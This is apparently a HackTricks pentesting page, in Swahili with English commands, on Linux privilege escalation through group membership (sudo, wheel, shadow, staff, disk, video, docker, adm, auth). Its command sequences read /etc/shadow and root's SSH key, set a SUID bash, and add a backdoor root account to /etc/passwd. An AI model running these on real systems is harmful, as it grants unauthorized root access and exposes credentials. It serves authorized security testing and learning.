# Interesting Groups - Linux Privesc {{#include ../../../banners/hacktricks-training.md}} ## Sudo/Admin Groups ### **PE - Method 1** **Wakati mwingine**, **kwa kawaida (au kwa sababu programu fulani inahitaji hivyo)** ndani ya **/etc/sudoers** faili unaweza kupata baadhi ya mistari hii: ```bash # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # Allow members of group admin to execute any command %admin ALL=(ALL:ALL) ALL ``` Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwenye kundi la sudo au admin anaweza kutekeleza chochote kama sudo**. Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**: ``` sudo su ``` ### PE - Method 2 Pata binaries zote za suid na angalia kama kuna binary **Pkexec**: ```bash find / -perm -4000 2>/dev/null ``` Ikiwa utagundua kwamba binary **pkexec ni binary ya SUID** na unategemea **sudo** au **admin**, huenda unaweza kutekeleza binaries kama sudo ukitumia `pkexec`.\ Hii ni kwa sababu kawaida hizo ndizo vikundi ndani ya **polkit policy**. Sera hii kimsingi inatambua ni vikundi vipi vinaweza kutumia `pkexec`. Angalia kwa: ```bash cat /etc/polkit-1/localauthority.conf.d/* ``` Hapa utaona ni vikundi vipi vinavyoruhusiwa kutekeleza **pkexec** na **kwa kawaida** katika baadhi ya disktros za linux vikundi **sudo** na **admin** vinajitokeza. Ili **kuwa root unaweza kutekeleza**: ```bash pkexec "/bin/sh" #You will be prompted for your user password ``` Ikiwa unajaribu kutekeleza **pkexec** na unapata **makosa** haya: ```bash polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie ==== AUTHENTICATION FAILED === Error executing command as another user: Not authorized ``` **Sio kwa sababu huna ruhusa bali kwa sababu haujaunganishwa bila GUI**. Na kuna suluhisho kwa tatizo hili hapa: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Unahitaji **sehemu 2 tofauti za ssh**: ```bash:session1 echo $$ #Step1: Get current PID pkexec "/bin/bash" #Step 3, execute pkexec #Step 5, if correctly authenticate, you will have a root session ``` ```bash:session2 pkttyagent --process #Step 2, attach pkttyagent to session1 #Step 4, you will be asked in this session to authenticate to pkexec ``` ## Wheel Group **Wakati mwingine**, **kwa kawaida** ndani ya faili **/etc/sudoers** unaweza kupata mstari huu: ``` %wheel ALL=(ALL:ALL) ALL ``` Hii inamaanisha kwamba **mtumiaji yeyote anaye belong kwenye kundi la wheel anaweza kutekeleza chochote kama sudo**. Ikiwa hii ni hali, ili **kuwa root unaweza tu kutekeleza**: ``` sudo su ``` ## Shadow Group Watumiaji kutoka **group shadow** wanaweza **kusoma** faili **/etc/shadow**: ``` -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow ``` So, soma faili na jaribu **kufungua baadhi ya hashes**. ## Kundi la Wafanyakazi **staff**: Inaruhusu watumiaji kuongeza marekebisho ya ndani kwenye mfumo (`/usr/local`) bila kuhitaji ruhusa za mzizi (zingatia kwamba executable katika `/usr/local/bin` ziko kwenye mabadiliko ya PATH ya mtumiaji yeyote, na zinaweza "kufunika" executable katika `/bin` na `/usr/bin` zenye jina sawa). Linganisha na kundi "adm", ambalo lina uhusiano zaidi na ufuatiliaji/usalama. [\[source\]](https://wiki.debian.org/SystemGroups) Katika usambazaji wa debian, mabadiliko ya `$PATH` yanaonyesha kwamba `/usr/local/` itatekelezwa kama kipaumbele cha juu, iwe wewe ni mtumiaji mwenye mamlaka au la. ```bash $ echo $PATH /usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games # echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ``` Ikiwa tunaweza kuhamasisha programu fulani katika `/usr/local`, tunaweza kwa urahisi kupata root. Kuhamasisha programu ya `run-parts` ni njia rahisi ya kupata root, kwa sababu programu nyingi zitakimbia `run-parts` kama (crontab, wakati wa kuingia ssh). ```bash $ cat /etc/crontab | grep run-parts 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } ``` au Wakati wa kuingia kwenye kikao kipya cha ssh. ```bash $ pspy64 2024/02/01 22:02:08 CMD: UID=0 PID=1 | init [2] 2024/02/01 22:02:10 CMD: UID=0 PID=17883 | sshd: [accepted] 2024/02/01 22:02:10 CMD: UID=0 PID=17884 | sshd: [accepted] 2024/02/01 22:02:14 CMD: UID=0 PID=17886 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2024/02/01 22:02:14 CMD: UID=0 PID=17887 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2024/02/01 22:02:14 CMD: UID=0 PID=17888 | run-parts --lsbsysinit /etc/update-motd.d 2024/02/01 22:02:14 CMD: UID=0 PID=17889 | uname -rnsom 2024/02/01 22:02:14 CMD: UID=0 PID=17890 | sshd: mane [priv] 2024/02/01 22:02:15 CMD: UID=0 PID=17891 | -bash ``` **Exploit** ```bash # 0x1 Add a run-parts script in /usr/local/bin/ $ vi /usr/local/bin/run-parts #! /bin/bash chmod 4777 /bin/bash # 0x2 Don't forget to add a execute permission $ chmod +x /usr/local/bin/run-parts # 0x3 start a new ssh sesstion to trigger the run-parts program # 0x4 check premission for `u+s` $ ls -la /bin/bash -rwsrwxrwx 1 root root 1099016 May 15 2017 /bin/bash # 0x5 root it $ /bin/bash -p ``` ## Disk Group Hii haki ni karibu **sawa na ufikiaji wa root** kwani unaweza kufikia data zote ndani ya mashine. Files:`/dev/sd[a-z][1-9]` ```bash df -h #Find where "/" is mounted debugfs /dev/sda1 debugfs: cd /root debugfs: ls debugfs: cat /root/.ssh/id_rsa debugfs: cat /etc/shadow ``` Kumbuka kwamba kutumia debugfs unaweza pia **kuandika faili**. Kwa mfano, ili nakala `/tmp/asd1.txt` kwenda `/tmp/asd2.txt` unaweza kufanya: ```bash debugfs -w /dev/sda1 debugfs: dump /tmp/asd1.txt /tmp/asd2.txt ``` Hata hivyo, ikiwa unajaribu **kuandika faili zinazomilikiwa na root** (kama `/etc/shadow` au `/etc/passwd`) utapata kosa la "**Ruhusa imekataliwa**". ## Kundi la Video Kwa kutumia amri `w` unaweza kupata **nani amejiandikisha kwenye mfumo** na itatoa matokeo kama ifuatavyo: ```bash USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT yossi tty1 22:16 5:13m 0.05s 0.04s -bash moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash ``` The **tty1** inamaanisha kwamba mtumiaji **yossi amejiandikisha kimwili** kwenye terminal kwenye mashine. Kikundi cha **video** kina ufikiaji wa kuangalia matokeo ya skrini. Kimsingi unaweza kuangalia skrini. Ili kufanya hivyo unahitaji **kuchukua picha ya sasa kwenye skrini** katika data safi na kupata azimio ambalo skrini inatumia. Data ya skrini inaweza kuhifadhiwa katika `/dev/fb0` na unaweza kupata azimio la skrini hii kwenye `/sys/class/graphics/fb0/virtual_size` ```bash cat /dev/fb0 > /tmp/screen.raw cat /sys/class/graphics/fb0/virtual_size ``` Ili **kufungua** **picha ya raw** unaweza kutumia **GIMP**, chagua faili **`screen.raw`** na chagua kama aina ya faili **Data ya picha ya raw**: ![](<../../../images/image (463).png>) Kisha badilisha Upana na Kimo kuwa zile zinazotumika kwenye skrini na angalia Aina tofauti za Picha (na uchague ile inayoonyesha vizuri skrini): ![](<../../../images/image (317).png>) ## Kundi la Root Inaonekana kwamba kwa kawaida **wanachama wa kundi la root** wanaweza kuwa na ufikiaji wa **kubadilisha** baadhi ya **faili za usanidi** wa **huduma** au baadhi ya **faili za maktaba** au **mambo mengine ya kuvutia** ambayo yanaweza kutumika kuongeza mamlaka... **Angalia ni faili zipi wanachama wa root wanaweza kubadilisha**: ```bash find / -group root -perm -g=w 2>/dev/null ``` ## Docker Group Unaweza **kushikilia mfumo wa faili wa mizizi wa mashine mwenyeji kwenye kiasi cha mfano**, hivyo wakati mfano unapoanza inachukua mara moja `chroot` kwenye kiasi hicho. Hii inakupa kwa ufanisi mizizi kwenye mashine. ```bash docker image #Get images from the docker service #Get a shell inside a docker container with access as root to the filesystem docker run -it --rm -v /:/mnt chroot /mnt bash #If you want full access from the host, create a backdoor in the passwd file echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd #Ifyou just want filesystem and network access you can startthe following container: docker run --rm -it --pid=host --net=host --privileged -v /:/mnt chroot /mnt bashbash ``` Hatimaye, ikiwa hupendi mapendekezo yoyote ya awali, au hayafanyi kazi kwa sababu fulani (docker api firewall?) unaweza kila wakati kujaribu **kufanya kazi kwenye kontena lenye mamlaka na kutoroka kutoka kwake** kama ilivyoelezwa hapa: {{#ref}} ../docker-security/ {{#endref}} Ikiwa una ruhusa za kuandika juu ya socket ya docker soma [**hiki kipande kuhusu jinsi ya kupandisha mamlaka kwa kutumia socket ya docker**](../index.html#writable-docker-socket)**.** {{#ref}} https://github.com/KrustyHack/docker-privilege-escalation {{#endref}} {{#ref}} https://fosterelli.co/privilege-escalation-via-docker.html {{#endref}} ## Kundi la lxc/lxd {{#ref}} ./ {{#endref}} ## Kundi la Adm Kawaida **wanachama** wa kundi **`adm`** wana ruhusa za **kusoma faili za log** zilizopo ndani ya _/var/log/_.\ Hivyo, ikiwa umepata mtumiaji ndani ya kundi hili unapaswa kwa hakika kuangalia **logi**. ## Kundi la Auth Ndani ya OpenBSD kundi la **auth** kawaida linaweza kuandika katika folda _**/etc/skey**_ na _**/var/db/yubikey**_ ikiwa zinatumika.\ Ruhusa hizi zinaweza kutumika vibaya kwa kutumia exploit ifuatayo ili **kupandisha mamlaka** hadi root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) {{#include ../../../banners/hacktricks-training.md}}